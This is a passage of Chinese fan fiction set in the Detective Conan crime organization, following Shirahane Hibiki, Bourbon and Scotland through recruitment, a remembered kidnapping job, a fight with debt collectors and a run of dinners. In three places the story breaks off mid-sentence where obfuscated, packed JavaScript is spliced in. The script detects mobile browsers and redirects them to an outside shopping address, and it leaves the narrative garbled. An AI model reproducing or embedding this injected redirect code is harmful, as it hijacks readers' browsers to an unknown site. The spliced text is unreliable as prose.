她正打量着,目光突然顿在一个穿黑色连帽衫的男人身上,那人手里攥着手机,指尖不停点着屏幕,一副焦躁不安的模样。 白羽响轻微地“咦”了一声。 “怎么?”波本低声问她。 “那个不停看时间的,是前两天新闻里的珠宝店抢劫犯嫌疑人吧?我昨天刚巧听见了相关的新闻。他作案手法特别业余,还不小心露出了手臂上的纹身,现在正被警方通缉。”白羽响指了指其中一个,有些诧异地问道,“难道那是组织的任务?” 波本顺着她的视线瞄了一眼,眉头几不可查地皱了皱,却没说话。 白羽响没再追问,目光又被角落里一个人吸引过去。那人裹着厚重的黑色风衣,连头带脸都用围巾蒙得严严实实,只露出一双眼睛,站在阴影里一动不动,反而比那抢劫犯更像“可疑分子”。她忍不住多看了两眼,越看越觉得不对劲:那人站姿挺拔,肩膀宽阔,哪怕裹着厚衣服,也能看出肌肉线条紧实,显然是常年锻炼的人。 于是,她指着这人继续和波本搭话:“那个人也很奇怪,参与认脸的集会,居然把脸遮得这么严实。组织现在招人是什么标准,这样的也能放进来?” 一直沉默的波本终于开口,声音冷了几分:“这不是你该关心的事。” 白羽响抿了抿唇,没再说话。 这算什么?表演变脸吗? 跟这种独断的人争辩,只会白费口舌。 不知道为什么,她总觉得自己说完刚刚那句话以后,波本的心情肉眼可见地变差,整个眉头都蹙在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939479|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一向游刃有余的神情消失了,取而代之的是强烈的烦躁和不悦。 就在这时,厂房的铁门“吱呀”一声被推开,一道熟悉的身影走了进来。 是苏格兰。他戴着深色兜帽,帽檐压得很低,几乎把半张脸埋在衣领里,一个人安静地站在门边,像融入了阴影里。 “不是说要开会,还不开始吗?” 底下有人不耐烦地嘟囔了一句,声音不大,却在空旷的厂房里格外清晰。 波本的神情持续地不悦,白羽响看着若有所思。 她原本以为,波本来这里是因为自己通过了贝尔摩德的考验,他打算带她认识未来可能合作的搭档,可看这模样,根本没有介绍的打算,只是站在原地,目光锐利地盯着底下的人,像是在观察什么。 于是白羽响的目光扫过那些不重要的人,落在苏格兰的身上。 两天不见,他换回了自己熟悉的深色外套,明明穿着和从前别无二致的衣服,她却能从他紧绷的肩线里看出他的疲累。他比上次见面时更沉默了,整个人像一座被浓雾笼罩的孤城,透着股拒人于千里之外的寂静。 白羽响心里升腾起一丝酸涩的情感。从前执行任务时,苏格兰虽话少,却总带着温和的气场,从不会像现在这样,浑身都透着“疲惫”二字。 是因为她的缘故吗? 下次见面的时候,向他打听打听好了。 正在胡思乱想的时候,身边的波本突然长长叹了一口气。白羽响被这声动静拉回神,回头看他。 “歪瓜裂枣。”波本朝着楼下瞥了一眼,语气里满是嫌弃,说着便往后缩了缩,靠在生锈的铁栏杆上,显然没打算露面。 白羽响跟着他往后躲了躲,虚靠在背后斑驳的白墙上,看着他这副模样,忍不住带着调侃开口:“怎么样,这种时候,是不是觉得我这个搭档还不错?” 波本斜过眼睛看了她一眼,竟然没有要反驳的意思。 “当然。”随后他顿了顿,“你和他们不一样。” 白羽响有些诧异,从波本这种爱挑刺的人口中听见夸奖,实在罕见。 没等她消化完这份意外,波本又开口了,语气里带着点揶揄:“你可是最好的。” 这话一出,白羽响毫不意外地扯了扯嘴角,发出一声冷笑。 果然,他哪会真心夸人? 可不知怎么,这句话又让她觉得格外熟悉。 恍惚间回到了她还是“响酒”的时候。那会儿波本刚进组织,凭着敏锐的洞察力,从几百人中精准找到了任务对象,悄无声息地窃取了对方的车钥匙。带着胜利果实来找她的时候,脸上带着少年人特有的锐气,连笑容都亮得晃眼。 她看着波本那张漂亮的脸蛋,笑着拍了拍他的臂膀:“你很厉害,或许将来甚至能超过莱伊,成为获得代号最快的人。在新人里,你算资质最好的之一了。” 那时的波本还带着点男孩气的不服,皱着眉追问:“只是‘之一’?我还不是最好的?” 她愣了一下,随即反应过来,这不过是少年想撒个娇,求一句肯定。 于是她放软语气,像哄小孩似的笑道:“怎么会?你是跟着我的,当然是最好的。” 记忆与现实重叠,白羽响看着眼前的波本,心里突然泛起一阵复杂的滋味。那时的波本眼里有光,有着少年锐气与纯粹的好胜心,不像如今满是算计与疏离。当年自己说那句“最好”时,虽带着几分哄劝的成分,算不上百分百纯粹的夸赞,可至少没有掺假的算计,比起此刻波本轻飘飘的一句,已经算诚意十足。 又或者,波本从头到尾都是这副模样?当年那副少年气的模样,不过是他博取好感的手段,她从未真正触碰到他最真实的一面。这个念头一冒出来,就像藤蔓似的缠上心头,让她莫名有些发闷。 她不敢深想,只能悄悄移开目光,重新看向了楼下的苏格兰。 从前在波本身上短暂得到过的踏实与信任,后来渐渐被苏格兰和其他并肩作战的搭档填满。 日子久了,关于波本的那些零碎记忆,也慢慢被她压在心底,不再刻意惦记。 7. 初见与债务 开车将白羽响送到了安全屋附近以后,波本再次调转车头,朝着城市周边驶去。 在一条黑暗的巷道中,他停下了车。副驾驶的门打开,苏格兰坐上了波本的车,二人一路无言地开到了一处城郊边上的小公寓,这是苏格兰在米花町留下的一处安全屋。 踏入这个不足三十平米的狭小空间内,褪去了伪装,他们还是降谷零和诸伏景光,一对从小一同长大的幼驯染,两个同样打入组织的卧底警.察。 这个安全屋已经很久没有住人了。苏格兰最近才回到米花町,还没有足够的时间来打扫。他洗了个杯子,给波本倒了一杯水。 两年多以前,他们被不同的部门派入组织,短暂地有过一两次的会面,但都不算是合作。为了谋求更快的晋升,波本选择了就去了情报组,有一段时间在日本和欧洲行动。期间他们一直在不同的区域执行任务,此时此刻算是第一次真正意义上的合流。 波本接过水杯,喝了一口之后,目光落在苏格兰身上。 很显然,他最近生活质量不好——眼底的青黑遮不住,下巴上冒出的胡茬也没打理,整个人透着股连轴转后的疲惫,波本心里的担忧又重了几分。 “那个任务,算是正式到你手上了吗?”他揉了揉眉头,问苏格兰道。 昨天组织下达的任务还清晰地印在脑海里:潜入警视厅,窃取一份案件的证据。这意味着,他必须以“苏格兰”的身份,重新潜回警视厅内部,在昔日同事的眼皮子底下完成盗取。 苏格兰点了点头:“是,而且是单人任务。” 波本继续一阵头痛。如果不是组织对他另有安排,没法抽身策应,他也不会想到去组织的初级接头点,想为苏格兰找个靠谱的搭档。 “怎么样?”苏格兰征求他的意见,“有合适的人选吗?” 波本放下水杯,摇了摇头,语气里满是嫌弃:“都不合适。自从琴酒把招人的事扔给科恩,这片最近招的全是些臭鱼烂虾。幸亏琴酒没把这事交给基安蒂,否则那疯女人准备拿枪把这群不上台面的人都杀了。如果……” 说到这里,他的话突然戛然而止。 如果响酒还活着的话……不会变成这样的。 他还记得自己刚开始接触组织的时候,先在外围做了一个多月的边缘行动。那些任务没有那么肮脏血腥,但是却能帮助他了解组织内部的生态。在某次完成了一个简单的任务之后,他第一次瞒着组织将任务目标的三千万日元存款纳为己用,并贿赂了一位与组织已经合作了多年的“前辈”。 那是他第一次向组织内部的人展示了自己的野心,他意图用这三千万日元,为自己寻找一条迅速进入核心的捷径。 那个人也的确给他指了一条明路:“你应该去找响酒。她是皮斯科的养女,爱尔兰的义妹。不过那位大小姐喜欢听话的人,用钱是解决不了她的。” 那是响酒这个名字第一次进入了他的视线,他揣测着这位“登天梯”是个什么年龄层次的女性,有着什么样的兴趣爱好,去设计一个她可能会喜欢的形象。 但是直到与响酒见面的当天,他还是有些吃惊。 响酒很年轻,长得也很漂亮,甚至眉目中也没有多少狠厉。她没有多问自己的来历,只是站在不远处反复地看着他的脸,看到最后,笑着说了句“你该不会是个高中生吧”。 那种口吻不像取笑,更不是嘲讽,那只是一句单纯的玩笑话。 他确实把自己装扮得很“乖巧”,毕竟给他提示的人给出的关键词是“听话”。但这句开玩笑一般的开场白却在他的意料之外,让他没能及时给出反应。 也是那天见完他,响酒急着要去做一个绑架未成年女孩的任务,正在打算联系组织中的人进行接应。 涉及未成年人的安全,他心中一动,尝试着和响酒主动请缨。 这是个大胆的决定,毕竟根据打听到的情报看,响酒不喜欢“不听话的人”。 不过,传闻未必可信。 就在他提出这个要求的时候,响酒没有一口回绝,而是饶有兴致地看了他一眼。 随后她说:“可以。我正缺一个帮手。” 那天,他和响酒一同坐在街角的咖啡店里,观察着从窗户外路过的人群,他们的目标被一群保镖簇拥着,背着书包放学,模样清秀像个乖乖女。 他偷偷看了一眼响酒的神色,只见她皱着眉头,似乎对要怎么下手没有打算。不过很快,她就做好了决定,叫来服务生结账。 “不能在闹市区开枪,等他们走进小路再行动吧。”响酒一边带着他拐进小路,一边确认周围的监控,突然想起了什么似的,回头和他说,“最好也不要开枪,我会快速放倒她身边的保镖,你顺势将她捂上嘴带走就好。” 指令很简单,但是为什么?他明明看到响酒手上的枪装了消音器。 那一刻,他开始揣测响酒是否只是不愿意在未成年人面前使用血腥手段。 他默默地点了点头,一边思考,一边观察,在目标回头说话的一瞬间,察觉了她书包上挂着一个相当小众的重金属乐队的挂件。 他心中一动,尝试着提出自己的看法。 “我想试试直接与她搭话。”他说,“我会想办法让她自己离开那群人,跟我走。” 这等同于他推翻了响酒提出的计划,作为组织新人而言,简直是胆大包天。 不过他赌对了。 响酒的目光落在他身上,犹豫了一下就说“可以试试”。 他得到了首肯之后,走上前装作那个女孩的同好搭讪,将她从保镖的手中秘密地带走了二十四小时,兵不血刃地完成了一次“绑架”。 回忆到这里,波本微微咬了咬唇。 时至今日,他依然忘不了与响酒刚认识的那天。 一天之内,她两次为他更改了决定。 那天他不仅获得了响酒的认可,也看到了血腥与肮脏的东西之外,尚未泯灭的人性。 一周前,得知响酒出事的消息,他迅速地从国外赶了回来。回到米花町的时候,他才从苏格兰的口中知道了这件事还有更加可怕的余波——响酒出事之前给苏格兰发了消息,不明真相的苏格兰在仓库起火之后试图冲进去救人,进而遭到了组织的怀疑。 而当他从贝尔摩德那里知道了这件事情的源头出在莱伊身上的时候,愤恨的情绪已经达到了顶峰。 响酒不会是叛徒。 虽然她心软,甚至会犹豫是否要在未成年人面前采取极端的手段,但波本知道,她绝不可能是叛徒。 她对组织忠心耿耿,她是被人陷害的。 他要代替被处死的响酒和受到怀疑的苏格兰向莱伊复仇。 苏格兰见他沉默,目光一时也朝着不远处的阳台而去。 波本说得没错。 自从响酒被组织当成叛徒炸死,日本关东地区的纳新彻底乱了套。琴酒随手把这摊子事扔给了科恩,可科恩虽深得琴酒信任,却是个彻头彻尾的外行,寡言少语,连与人沟通都费劲,哪懂什么筛选成员?招进来的人良莠不齐。 不止如此,最近这段时间组织里的风向发生了变化。行动组的人在组织中的地位水涨船高,而且几乎都变成了琴酒带领的那组人的一言堂。原本偶尔这群人还会和别的成员集会商议,最近架子越摆越高,一个都请不到场。 上次开会连贝尔摩德都没去,整个房间里坐着的级别最高的人已经变成了波本,害得他临时受命,莫名其妙地接下了一个和自己的行动时间冲突的任务,无法从旁协助。 因此,他要做好最坏的准备。 如果有必要,他可以接受自己牺牲,以换取警方的线索不落入组织的手中。 “那个珠宝店的抢劫犯,是个业余货色对吧?”他突然发问,声音十分平静。 波本点了点头。注意到那个新闻的不只有白羽响,作为组织中的情报搜集人员,他向来都对每天发生的时新事了如指掌。这桩拙劣的抢劫案是那个人进入组织的投名状,可做得实在是破绽百出,除了在规定时间内逃走了以外,根本就是惹了一身腥。 这种人直接灭口都浪费一枚子弹,最好的选择就是直接卖给警方,还能送给熟人积攒功勋。 “就他吧。”苏格兰轻声说道。 “他?”波本的眼睛猛地睁大,难以置信地看向他,足足看了几秒,才从苏格兰平静的神情里,读懂了他的打算,他立刻摇头,语气带着急意,一口回绝,“不不,Hiro,你不能这么做!” “我可以这么做。” 熟悉的旧称没有唤回苏格兰的决定,在他颓然的面貌中,眸光正在慢慢变亮。他做出了这样的决定,就好像在巨大的打击之后找回了自己一般。 波本下意识压低声音,语速快得几乎有些发颤:“我不会同意你做这种决定,这个任务必须成功!你知道的,因为你误入了响酒死亡的现场,现在有人盯上你了。” “Zero。”苏格兰轻声打断了他,“组织的要求是这件东西必须拿回来,而非销毁。如果我们的推测没错,那一定是一项重要证物,它不能回到组织手中。” 他不知道组织给他的证物袋号意味着什么,但是需要冒险去取的东西,或许蕴含着重大的线索。 想到这里,苏格兰的脸上反而露出了一丝如释重负的笑意:“你放心,我对自己的事有数。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939480|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 波本的手指摩挲着杯子,看着幼驯染的笑容,心却一点点沉了下去。 他太了解这个人了——看似温和,一副什么事都很好商量的样子,实际上一旦他认为一件事重于一切的时候,就算真的性命攸关,他也会去做的。现在说什么“有数”,到头来离开了自己的视线,他压根就不会惜命。 波本的大脑飞速运转,除非他能从源头上就让苏格兰放弃这个主意;或者他配合苏格兰的计划,将风险降低到最小。 “这样吧,我让白羽响来配合你。” 听到这个名字,苏格兰有些意外地看着波本:“她?” 那个女孩……印象里,是个新人吧?而且还颇有来头。 此时,他们二人的“新话题”正在被人跟踪。 三分钟前,白羽响正在集市里挑选安全屋中常用的蜡烛和应急灯。人群摩肩接踵,叫卖声此起彼伏,她弯腰翻看货架上的东西时,眼角余光瞥见两个穿黑色连帽衫的男人,站在她身后的不远处。起初她没在意,可当她转身去看另一侧的矿泉水时,那两人竟鬼鬼祟祟地缩到了货架后面,只露出半截鞋尖。 躲藏? 她觉得有些意思。 于是她就好像准备狩猎的猫在假寐一般,故意放慢动作,拿起一瓶水假装查看生产日期,视线却透过货架缝隙盯着那两人。 姿势僵硬,眼神看着完全不同的地方,一看就不是来买东西的。 难道是警方的人?毕竟三木一海被绑架的案子刚发生,她作为波本的“同伙”,被盯上也有可能。 要试探这些人究竟是不是外行很简单,只要让他们熟悉的环境生变就行了。 白羽响放下那瓶水,突然转身朝着出口走,眼角的余光清楚看到那两人立刻跟了上来,脚步仓促得差点撞到旁边的老太太。她心里有了数——不是警方,警方跟踪不会这么笨拙,这两人更像是来找麻烦的小混混。 是她这具身体的原主留下的旧怨,还是她自己执行任务时惹来的麻烦? 白羽响不动声色地改变路线,不再往热闹的主街走,反而拐进了旁边一条狭窄的小巷。巷子里没有路灯,只有两侧住户窗户透出的微弱灯光。她的安全屋就在这附近,但是她不打算躲藏,而是打算在小巷里一劳永逸。 她的手中握着一把刚从集市中买的折叠刀,虽然现在的她力量有限,但是根据有利地形将其中一个人制伏应该不成问题。 身后的脚步声越来越近,几乎贴到了后背。白羽响突然俯身,借着一个垃圾桶的掩护往侧后方一滑,正好避开左侧男人挥来的拳头。没等对方反应,她攥着折叠刀的手抵住男人后腰,另一只手猛地扣住他的手腕,顺势往废弃的垃圾桶上狠狠按去。 “咚”的一声闷响,男人疼得发出了一声嚎叫。跟着他一起进来的那个人比被她制服的那个瘦一些,看到这一幕,往后退了两步,似乎在犹豫要不要逃跑。 “说,为什么跟踪我?” 白羽响直接利落地问他。 被按住的男人却梗着脖子,嘴里不干不净地骂起来,污言秽语像潮水般涌出来,听得人皱眉。 白羽响没再废话,抬手就是一巴掌,朝着对方的左耳根下扇区。“啪”的一声脆响后,男人瞬间没了声音,捂着下巴疼得直冒冷汗。 “很痛吗?看来你的妥瑞氏症治好了。”白羽响笑了笑,用刀朝着另一个人比划了一下,“来,你来回答我。” “我们是……是来催债的!”那个瘦子惊魂未定,但依然结结巴巴地说着,像是在给自己打气,“之前你说好……每个月十五号打五十万日元给我们老大,这个月非但没给,还从酒店跑了,躲了两天都没见人影,所以……” 白羽响微微皱眉。 催债的?而且是“每个月五十万”? 今天已经是十七号,确实过了约定时间。组织的打款速度很快,一次任务带来的巨额收入当然比五十万日元要多。但是,可“每个月”这三个字,再结合原主日历上一笔笔勾掉的大额数字,那些巨额的负债恐怕不是一两次任务可以短暂结清的。 “你们怎么找过来的?”她一边问着,一边把被她卸了下巴的那个人扔在了地上,由他嚎叫,目光却没离开那瘦子,死死地盯着他的一举一动。 瘦子咽了口唾沫,声音发颤:“你以前……经常去那片集市赌钱,我们头派了五组人盯着,守了两天,才终于在集市里看到你……” 赌钱? 白羽响心里瞬间明白了。 那片集市人多眼杂,东西便宜又无人看管,角落藏着地下赌局也不奇怪,毕竟那的确是个藏污纳垢的好地方。 原主的巨额负债,看来就是这么来的。 8. 铁公鸡的请客 安全屋内,波本从沙发上站起朝着窗边走去,皮鞋踩在地板上发出轻微的声响。 站定之后,他伸出手指勾住了百叶窗,一束阳光打了进来,照在他的脸上。 “我知道,你一定不喜欢和赌鬼合作。” 波本的目光掠过百叶窗外阳台角落堆积的烟蒂,眉头几不可查地蹙了一下。 在进入组织之前,他的幼驯染可没有抽烟的习惯,最近他似乎抽得格外凶,连烟灰都散落在阳台的瓷砖缝里,没来得及清理。 他收回视线,重新看向沙发上的苏格兰,继续尝试说服他:“但是做搭档,她很合适。比起接头点那些拖泥带水的货色,她够果断,遇事不会慌。而且我看得出来,她对你有好感,会愿意配合你打掩护。” 虽然他当时说了白羽响莽撞,但打在三木一海头上的那一杆子下手相当干脆利落,那个瞬间,他产生了怀疑。 是真的莽撞,还是说…… 她根本就是个老手? 不过苏格兰的重点似乎不在“白羽响适不适合做搭档”上。 他抬眼诧异地看了好友一眼,声音里带着疑惑:“她?你是说那位白羽小姐,是个赌徒?” “没错。当初贝尔摩德把她扔给我带的时候,我查过她的过往,警方的档案、组织的观察,都证实了她今年起,常去地下赌场挥霍,欠了赌场的御头不少债。”他顿了顿,补充起细节,“她原本是孤儿,后来被一户姓白羽的人家收养,学生时代起就寄宿女子美术学院,不过她各科成绩都很一般,毕业以后也没什么建树,最后转行去做了别的。从学生时代起,她的性格就很孤僻,没什么朋友。” 说完,他沉默了几秒钟。 “学生时代的孤僻”……这并不是一个陌生的词。人有种种原因远离集体,且未必真是因为性格上真的有缺陷。 只是如果她真的是因为这种原因,最后把时光都消磨在赌桌之上,理应会表现得比现在看起来更加麻木和被动。 可目前接触下来,她似乎对很多事还有自己的想法,精神状态虽然糟糕,但也没有到最坏的地步。难道说,靠近组织对她来说才是一个舒服又刺激的选择? 波本一边思考,一边继续说着他打听到的内容。 “总之,收养她的家庭在她成年之后,因为她的债务问题,把她扫地出门了。人是贝尔摩德看中的,据说在此之前已经在组织的视线内观察过她一段时间,间接参与过几个边缘案件,不算完全的新人。”波本顿了顿,继续说道,“但她没有用枪的经验,也没有驾照,最好不要指望她全面配合。” 赌钱赌到债务问题频出的迷途羔羊…… 苏格兰的眉头皱了皱。 那天,他刚把白羽响送到米花大饭店门口。看着她推开车门,黑色的长发被晚风拂起,他忽然就想起了曾和响酒在这家饭店执行过任务。 他突然就想下车抽一根再走,正在伸手朝着烟盒与打火机而去的时候,不远处的饭店门口,白羽响推开玻璃门的动作顿住了。 她突然回过头来。 隔着十几米的距离,酒店门廊上的光在她身上勾勒出一圈柔和的光晕,模糊了她的轮廓,却唯独照亮了她的眼睛。 那双眼睛。 明亮、关切、有力,比他手中烟的星火更像是一团燃烧的火苗。 熟悉感在某个瞬间陡然而生,他盯着那双眼时,她再次回过头去,从他的视线中消失了。 波本很敏锐地察觉他在走神:“你也觉得她可疑?” “‘也’?”苏格兰回神思考了一会儿,缓缓摇了摇头,“我不知道。” 他与白羽响的接触很少,谈不上熟悉。组织里人人都有秘密,总不能见每个人的第一面就觉得对方可疑。何况这种事情,他原本也不如波本擅长。 波本揣测着他的真实想法,但没有再追问。目睹了响酒的死状之后,苏格兰的情绪一直比较低落。所有能够让他思考起来的其他事,都算是从那天的漫天火光中走出去的途径,波本不打算干涉。 他把话题绕回了组织的任务:“关于那项任务,还没给出具体的行动时间,应该就是不紧急,我们需要好好做准备。必要的时候,也可以打探一下那个证物编号究竟和什么案件有关。” 好在警视厅是一个熟悉的地方,不需要提前踩点,这给他们留下了更加充足的时间。 波本思虑再三,再次开口说道:“至于有没有更好的计划,我们从长计议。” “嗯。” 这次苏格兰点了点头,算对这件事做出了退让和妥协。 白羽响并不知道,安全屋里的两个男人已将她纳入高难度任务的计划中。此刻她正一只手按着被撂倒在地的催债人,另一只手从口袋里掏出银行卡,指尖夹着卡片晃了晃。 “这张银行卡里应该还有四百万日元,密码是前天彩票大奖的后六位数。” 那是她昨天半夜刚改的。 钱嘛,总要拿在手里才算安心。密码更是不能和自己的信息有半点相关,到时候白白便宜了别人。 不过,她没有急着递卡,而是用目光牢牢锁住对面的瘦子:“我一共欠了多少?” 瘦子被她的眼神看得发怵,他明明是来催债的,却完全没有理直气壮的味道。 “一、一亿日元不到。”他小声回答。 “……” 暗巷里瞬间陷入沉默,只有两侧窗户透来的微弱灯光,映着白羽响毫无波澜的脸。 两秒后,她面不改色地点了点头。 这数额堪比东京市区一套豪华公寓,刚好卡在她的心理承受极限。幸好她早就在原主的日历上,把那些零散的欠款数字整合相加过,否则此刻恐怕也要被这天文数字惊得倒吸一口冷气。 “我会尽快还上。”她将卡递给瘦子,指尖松开的瞬间又补充了一句,“让你们的头给我少算点利息,别太贪心了。把我逼急了,大不了去警局走一趟。你们的地下赌场,想必不想跟我一起完蛋。” 瘦子的嘴角抽搐了一瞬,双手接过银行卡,连密码的真假都不敢多问,眼睛一个劲往被按在地上的同伙那边瞟,显然想尽快脱身。 白羽响松开了手,不轻不重地踢了一脚那个对她出言不逊的蠢货:“滚!下次别落我手里,我不喜欢有人对我说脏话。” 被踢的男人捂着还在疼的下巴,连哼都不敢哼一声,跟着瘦子踉踉跄跄地跑出暗巷,很快就消失在夜色里。白羽响看着两人的背影,转身朝着自己的安全屋走去,手里还攥着那把没收回的折叠刀。 她当然可以用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939481|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武力拒绝这一次的催债,但她没有这么做。 组织里所有人都知道,响酒是个守规则的人,甚至有些理想和守旧。 就好比组织要求她成为新人的桥梁,她就真的恪守职责地在做一样——每一个进入她视野的新人,都会得到她一定的关照。 那些人大多身怀绝技,但又有着最为不堪的过往:有的家破人亡,有的走投无路,有的负债累累……很多人找上组织的初心,只是为了谋求继续往下前行的道路,并非都如那些行动组的核心人员一般嗜杀成性。因此只要能力范围之内,她都会出手相帮。 而她现在顶着白羽响的身份,欠着债、活在底层,恰好符合组织新人的常态。何况她现在正使用着原主的身体,处理她的债务自然也是天经地义的事情。 白羽响推开安全屋的门,舒了一口气。 一亿日元的债,加上即将到来的未知任务,接下来的日子,恐怕不会轻松。不过她心里却没多少烦躁。这个误入歧途的姑娘,虽然给她带来了一些遗留问题,但依然应该被感谢。 至少此刻,她拥有一个相对健康的身体,一个还算安全的落脚点。 对于一个刚死过一次的组织成员来说,这是一件多么幸福的事情。 她把刚买的蜡烛、应急灯往地上一搁,没急着整理,老旧的安全屋被她的行李嚯嚯得杂乱无章,但她却很享受这种不急着整理东西的感觉。 阳光透过窗户洒在身上,暖融融的。她打开电视机,任由嘈杂的新闻在耳边作响,伴着噪音,思考起后面的计划。 首先,她必须开始寻找下一个安全屋了。 原主常去的地下赌场离这儿太近,她又分不清谁是原主的熟人,保不齐哪天就被完全陌生的人搭讪,还是早点搬走比较稳妥。 其次,钱的事得抓紧想办法。催债人虽然一时半会儿不会来找她的麻烦,但她实在不喜欢那种被人盯着催促的感觉,因此最好快点将债务还清。有必要的话,她需要去一趟曾经的安全屋,取一些响酒名下的财产。 最后,就是刚刚因为想要快点了结有人催债的事,她把自己的卡给了那两个混混。现在她的身边只有一部分现金,组织下一个任务又不知道什么时候来。 想到钱,她突然想念起在车上和她斗嘴的波本。那个男人浑身上下最不缺的就是钱,可惜是只一毛不拔的铁公鸡,想从他那儿蹭点好处,恐怕比从琴酒手里要经费还难。 正在她胡思乱想的时候,口袋里的手机突然响了起来。 她掏出来一看,屏幕上跳动的号码让她挑了挑眉。 可不就是那个刚被她惦记了好一会儿的“铁公鸡”吗? 白羽响按下接听键,语气里带着几分调侃的笑意:“怎么了波本先生,这才分开多久,又有新任务了?” 她现在可巴不得任务快点来呢。 电话那头传来波本熟悉的声音,却没提任务的事,反而漫不经心地对她进行邀约:“那倒不是。不过我打算请你吃晚饭,白羽小姐愿意赏个脸吗?” “请吃饭?”白羽响的眼睛亮了亮,刚才的烦躁瞬间烟消云散,嘴角的笑意忍不住扬了起来。 看来今晚不仅不用啃面包,还能蹭顿好的,真是一件意外之喜。 “乐意至极!” 9. 赔了饭钱还折表 半小时后,白羽响准时下楼,坐上了波本的车。 定睛一看,波本又换了一套黑色西装,款式比中午见面时的那件要低调些。 这么短的时间,他还回去换了个衣服?总不能是为了和她出去吃饭特地换的吧? 白羽响心里犯嘀咕,嘴上却没多问。 波本的车子七拐八绕,最终停在一个隐在银杏树荫里的小院前。他率先下车,走进去与老板攀谈,白羽响顺便观察着周围的环境。 院子里的枯山水做得很别致,一看就知道是请了名家来设计。她看了一眼波本的背影,还以为这个人会更中意西餐厅或是酒吧那样的地方,没想到竟然选择了一处私密而高档的日式庭院。 二人坐定,波本将菜单递到她的面前:“想吃什么随便点,今晚我请客。” 白羽响看着他脸上温和的笑容,几乎很难把这个家伙和早上说着不愿意和她分赃的男人联系到一起。 不过,她得承认,此时此刻,这句话在负债累累的人的耳朵里,比情话还动听。 这天晚上,他们吃了一顿很“安详”的饭——波本既没开口找茬,也没有肆意地打探消息,就好像那只是事情告一段落之后,出来吃了一顿美味的大餐。 临走的时候,他甚至绕过了周边一堆高档的料理店,去小巷的甜品店买了两个相当有艺术感的冰激凌。 波本把冰激凌端给白羽响的时候,她一直在笑。 “这是什么?哄小孩子的吗?”她接了过来,欣赏着手上做得花里胡哨的冰激凌。 作为甜品来说,它的价格有点过于高昂了。 “不喜欢?”波本挑了挑眉。 “那倒不是。”白羽响摇了摇头。 她只是很少有这样的体验。日常而松弛,就像在约会一样。 不过,她怎么也没想到,那个晚上只是个开始。 接下来三天,波本的邀约就没断过。 二人从大师手作寿司吃到小众法国料理,每个晚上不是在高档餐厅里用餐,就是在去餐厅的路上,花钱如流水,看得她都忍不住咋舌。 第一天收到邀约的时候,她还留着心眼,甚至悄悄备好了现金,做好了“波本请客她买单”的准备,饭桌上更是时刻警惕,等着对方突然发难。可那顿饭从头到尾都风平浪静,真就只是安安静静吃了一顿饭,连聊天都只聊些无关紧要的菜式口味。 第二天再次收到波本的邀约,白羽响甚至下意识翻了翻手机日历,反复确认自己没有在重生后又陷入时间倒流的死循环,才狐疑地出了门。结果依旧如此,波本全程温和有礼,只字不提组织的事,饭后还主动送她回安全屋,体贴得让她浑身不自在。 第三天再接到波本邀约的时候,白羽响已经有了一种既来之则安之的淡定。 她坐在波本的车上,观察着他的一举一动。 她发现,波本每次来见她,都会换一身全新的打扮——第一天是剪裁利落的黑色西装,第二天是休闲的驼色风衣,今天则穿了件浅灰色针织衫,发梢还微微上翘,看起来蓬松又柔软,显然出门前特意洗了头发。金色的发丝垂在耳边,随着车子的前进轻轻晃动,竟莫名让人有种想伸手摸一把的冲动。 赏心悦目啊。 不过这个人,出来见组织里的手下还要特地打扮一番? 白羽响在心里啧啧两声。 俗话说得好,无事献殷勤,非奸即盗。 若是从前的响酒,对波本的印象还停留在那个爱撒娇的少年时期,或许会觉得这只是他爱体面的习惯。可现在的她,早已见识过波本的算计与狡诈,前几天还被他各种压迫,怎么可能突然就被好吃好喝供着? 除非……这家伙根本就是有什么其他的动机。 但波本不开口,白羽响也只当自己只是来吃饭的,坚决不开口多问一句。只要这几顿饭不是她的买命财,她就当波本只是在给前几天的出言不逊赔罪。 不过很快,他温和有礼的面孔结束在了一句状似漫不经心的话上。 “你的饮食习惯,看起来不太像是个职业模特。” 他说这句话的时候,白羽响正在用筷子夹起一块甜点蛋糕。商家把它做得像是一只胖乎乎的兔子,很是可爱。 白羽响面不改色地把蛋糕夹进了自己的盘子,心安理得地咬了一大口。 她不打算复刻原主的人生目标。让她去舞台上去做什么闪闪发光的明星模特实在是太为难人了,几天没摸到枪都能让她觉得没有安全感,何况是被这么多双眼睛盯着。 “从前那么在乎是因为这是我吃饭的本事,现在有其他的门路,而且要求我身体健康有力气逃跑,我不想做捡了芝麻丢了西瓜的事。”说着,她抬眼看向波本,主动把话题拉了回来,“你这几天突然频繁请我吃饭,不会就是为了观察我的饮食习惯吧?” 波本细致地拆解着一条多刺的烤鱼,用银质筷子灵巧地挑出细刺:“你最近的生活很规律也很健康。” 又是答非所问。 